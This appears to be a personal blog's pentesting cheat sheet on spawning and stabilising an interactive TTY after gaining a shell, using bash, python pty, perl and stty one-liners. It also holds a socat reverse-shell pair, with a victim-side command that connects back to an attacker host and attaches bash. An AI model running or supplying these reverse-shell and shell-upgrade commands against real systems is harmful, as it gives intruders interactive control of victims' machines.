Adithyan's Blog
Search…
Spawn TTY
Bash
1
/bin/bash -i
2
echo os.system('/bin/bash')
3
/bin/sh -i
Copied!
Python
1
python -c "import pty; pty.spawn('/bin/bash')"
Copied!
Perl
1
perl -e 'exec "/bin/bash";'
Copied!
Socat
On the attacker machine, set up socat listener: replace 4444 with your listening port.
1
socat -,raw,echo=0 tcp-listen:4444
Copied!
On the victim machine, connect back the attacker machine and spawn a shell. Replace <host> with attacker IP and <port> with attacker listing port.
1
$ socat exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane tcp:<host>:<port>
Copied!
Misc
1
/usr/bin/script -qc /bin/bash /dev/null
2
/usr/bin/expect sh
Copied!
Interactive TTY
    Backgrounding the remote shell with CTRL-Z:
Copied!
    Getting ROWS and COLS within current terminal window:
1
[email protected]:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
Copied!
    Ignoring hotkeys in the local shell and getting back to the remote:
1
[email protected]:~$ stty raw -echo; fg
Copied!
    Setting correct size for the remote shell (where ROWS and COLS are the values from the 3rd bullet):
1
[email protected]:~$ stty rows ROWS cols COLS
Copied!
    Adding some colors:
1
[email protected]:~$ export TERM=xterm-256color
Copied!
    Reloading bash to apply the TERM variable:
1
[email protected]:~$ exec /bin/bash
Copied!
Last modified 6mo ago
Copy link